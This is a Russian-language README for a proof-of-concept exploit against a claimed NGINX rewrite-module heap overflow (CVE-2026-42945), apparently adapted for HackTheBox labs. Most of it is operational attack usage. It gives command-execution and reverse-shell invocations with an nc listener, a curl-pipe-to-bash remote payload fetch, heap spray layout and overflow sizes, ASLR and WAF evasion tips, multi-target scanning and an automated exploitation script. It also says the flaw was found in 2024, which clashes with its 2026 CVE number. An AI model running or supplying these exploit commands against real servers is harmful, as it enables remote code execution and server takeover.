## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CIPHERSPY-CVE-2026-42945-POC
# CVE-2026-42945 (NGINX Rift) — Эксплойт для HTB
Автономный эксплойт для уязвимости переполнения кучи NGINX, обнаруженной в 2024 году. Эта версия оптимизирована для окружений HackTheBox и CTF, где невозможно настроить Docker-контейнеры.
## Детали уязвимости
**CVE-2026-42945** — это критическое переполнение кучи в модуле `ngx_http_rewrite_module` NGINX, существующее с 2008 года (версия 0.6.27). Ошибка возникает, когда:
1. Директива `rewrite` содержит `?` в замене (устанавливает `is_args = 1`)
2. Директива `set` захватывает часть URI
3. Вычисление длины происходит на обнулённом поддвижке (видит `is_args = 0`)
4. Фаза копирования выполняется на основном движке (видит `is_args = 1`)
5. Экранирование URI расширяет символы в 3 раза, переполняя недостаточный буфер
### Затронутые версии
* **NGINX Open Source** : 0.6.27 – 1.30.0
* **NGINX Plus** : R32 – R36
### Исправленные версии
* **NGINX Open Source** : 1.31.0, 1.30.1
* **NGINX Plus** : R36 P4, R35 P2, R32 P6
## Включенные файлы
1. **nginx_rift_htb.py** — Основной скрипт эксплойта
2. **nginx_rift_helper.py** — Вспомогательный скрипт разведки и утечки информации
3. **README.md** — Этот файл
## Требования
root@kitploit:~
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# No additional Python packages needed - uses only stdlib!
## Быстрый старт
### 1\. Проверка, уязвима ли цель
root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
Это позволит:
* Обнаружить, запущен ли NGINX
* Попытаться определить версию
* Проверить наличие конечной точки `/api/`
* Сообщить, выглядит ли цель уязвимой
### 2\. Разведка (рекомендуется)
root@kitploit:~
python3 nginx_rift_helper.py --target 10.10.11.x --all
Это выполняет:
* Определение отпечатка NGINX
* Определение версии
* Обнаружение конечных точек
* Обнаружение утечек информации
* Анализ поведения
### 3\. Запуск эксплойта
**Выполнение команды:**
root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
**Получение обратной оболочки:**
root@kitploit:~
# Start listener first (in another terminal)
nc -lvnp 4444
# Run exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
## Примеры использования
### Базовое выполнение команд
root@kitploit:~
# Execute 'id' command
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# Execute 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# Read /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
### Обратная оболочка
root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
### Пользовательские адреса (если ASLR отключён или у вас есть утечки)
root@kitploit:~
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
### Расширенные опции
root@kitploit:~
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
## Понимание эксплойта
### Как это работает
1. **Кучевой спрей** : Эксплойт отправляет несколько POST-запросов с сформированными телами, содержащими поддельную структуру `ngx_pool_cleanup_s`
2. **Триггер переполнения** : Отправляет GET-запрос к `/api/` со специально сформированным URI, который при экранировании вызовет переполнение
3. **Хук очистки** : Переполнение повреждает указатель очистки соседнего пула, указывая на нашу поддельную структуру
4. **Выполнение кода** : При уничтожении пула вызывается `system()` с нашей командой
### Ключевые параметры
* **Целевые байты** : 6-байтовые адреса, содержащие только URL-безопасные символы
* **Тело распыления** : POST-тело размером 4000 байт, содержащее поддельную структуру очистки
* **Полезная нагрузка переполнения** : 349 'A' + 969 '+' символов, которые расширяются в 3 раза при экранировании
### Соображения по ASLR
Эксплойт предполагает, что **ASLR отключён** или вам известны адреса. На HTB:
* Некоторые машины отключают ASLR для упрощения эксплуатации
* Другие требуют поиска утечки информации
* Вспомогательный скрипт может помочь с разведкой
Если ASLR включён, вам может потребоваться:
1. Найти утечку информации в приложении
2. Использовать перебор (требует много попыток)
3. Использовать частичные перезаписи (продвинутый метод)
## Устранение неполадок
### "Цель, похоже, не запускает NGINX"
* Убедитесь, что цель действительно использует NGINX
* Проверьте, правильный ли порт
* Возможно, за WAF/прокси
### "Не удалось подтвердить конечную точку /api/"
Уязвимая конфигурация требует:
root@kitploit:~
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
* Эксплойт может сработать, если rewrite+set есть в другом месте
* Попробуйте другие распространённые пути: `/api/`, `/admin/`, `/internal/`
### "Все попытки эксплуатации провалились"
Возможные причины:
1. **ASLR включён** — адреса рандомизированы
* Решение: найти утечку информации или перебор
2. **Другая версия libc** — `system()` по другому смещению
* Решение: попробовать все смещения с `--verbose`
3. **Версия не уязвима** — исправленная версия или другая конфигурация
* Решение: проверить версию с помощью вспомогательного скрипта
4. **WAF/IDS блокирует** — применяются средства защиты
* Решение: может потребоваться методы обхода
5. **Неверная конечная точка** — не используется комбинация rewrite+set
* Решение: найти реальную уязвимую конечную точку
### Подробный режим
Всегда используйте `--verbose` для отладки:
root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
Это показывает:
* Статус каждого запроса распыления
* Попытки подключения
* Время срабатывания триггера переполнения
* Логику обнаружения сбоев
## Советы по HTB
### Поиск вашего VPN IP
root@kitploit:~
# Find your tun0 IP
ip addr show tun0 | grep inet
# Use this IP for --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444
### Стабилизация оболочки
После получения начального доступа:
root@kitploit:~
# Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background and set terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
### Типичная разведка после получения оболочки
root@kitploit:~
# Check current user
id
whoami
# Check for flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# Check sudo permissions
sudo -l
# Check SUID binaries
find / -perm -4000 2>/dev/null
## Расширенное использование
### Создание пользовательской нагрузки
Если вам нужно настроить полезную нагрузку:
root@kitploit:~
# Edit the make_body() function in nginx_rift_htb.py
# Adjust BODY_LEN for different configurations
# Modify the overflow string (349 'A' + 969 '+')
### Несколько целей
root@kitploit:~
# Create a target list
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# Test each one
while read target; do
echo "Testing $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
### Автоматическая эксплуатация
root@kitploit:~
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] Starting listener..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] Running exploit..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
## Технические детали
### Уязвимый шаблон кода
root@kitploit:~
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Sets is_args=1
set $original_endpoint $1; # Allocates based on is_args=0
}
### Поток эксплуатации
root@kitploit:~
1. Spray POST → Fill heap with fake cleanup structures
2. GET /api/AAAA...++++...X → Trigger overflow
3. Overflow corrupts adjacent pool cleanup pointer
4. Pool destroyed → Calls system(cmd)
### Расположение в памяти
root@kitploit:~
[Heap Spray Body - 4000 bytes]
+0: system_addr (8 bytes)
+8: data_addr (8 bytes)
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'
## Ссылки
* Оригинальный PoC: https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
* Техническая статья: https://depthfirst.com/research/nginx-rift
* Консультация NGINX: https://my.f5.com/manage/s/article/K000160932
* Детали CVE: https://vulners.com/cve/CVE-2026-42945
## Отказ от ответственности
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Использование против систем, которые вам не принадлежат или на которые у вас нет явного разрешения, является незаконным. Автор не несёт ответственности за неправильное использование.
## Авторство
* Оригинальная уязвимость обнаружена depthfirst
* Оригинальный PoC: p3Nt3st3r-sTAr
* Адаптация для HTB: модифицировано для автономного использования
## Лицензия
Только для образовательных/исследовательских целей. Используйте ответственно.